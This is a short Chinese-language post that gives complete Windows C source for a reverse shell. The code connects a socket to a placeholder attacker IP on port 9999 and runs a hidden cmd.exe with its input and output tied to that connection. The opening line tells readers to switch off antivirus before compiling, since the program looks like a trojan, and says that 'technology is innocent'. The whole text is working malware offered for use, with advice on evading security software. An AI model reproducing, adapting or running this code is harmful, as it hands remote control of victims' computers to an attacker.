编译前要关闭杀毒软件,否则可能被杀。因为这个程序有木马特征,但技术是无罪的。
#include <stdio.h>
#include <Winsock2.h>
#pragma comment (lib,"ws2_32.lib")
int main()
{
WSADATA data;
WSAStartup(MAKEWORD(2, 2), &data);
SOCKET s;
SOCKADDR_IN sin;
TCHAR cmdPath[MAX_PATH] = { 0 };
GetEnvironmentVariable(L"COMSPEC", cmdPath, MAX_PATH);
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);
sin.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");
sin.sin_family = AF_INET;
sin.sin_port = htons(9999);
int size = sizeof(sin);
bind(s, (SOCKADDR*)&sin, size);
PROCESS_INFORMATION pro;
STARTUPINFO upinfo;
ZeroMemory(&pro, sizeof(PROCESS_INFORMATION));
ZeroMemory(&upinfo, sizeof(STARTUPINFO));
upinfo.cb = sizeof(STARTUPINFO);
upinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
upinfo.wShowWindow = SW_HIDE;
upinfo.hStdInput = (HANDLE)s;
upinfo.hStdOutput = (HANDLE)s;
upinfo.hStdError = (HANDLE)s;
connect(s, (SOCKADDR*)&sin, size);
CreateProcess(NULL, cmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &upinfo, &pro);
WaitForSingleObject(pro.hProcess, INFINITE);
CloseHandle(pro.hProcess);
CloseHandle(pro.hThread);
closesocket(s);
WSACleanup();
system("pause");
return 0;
}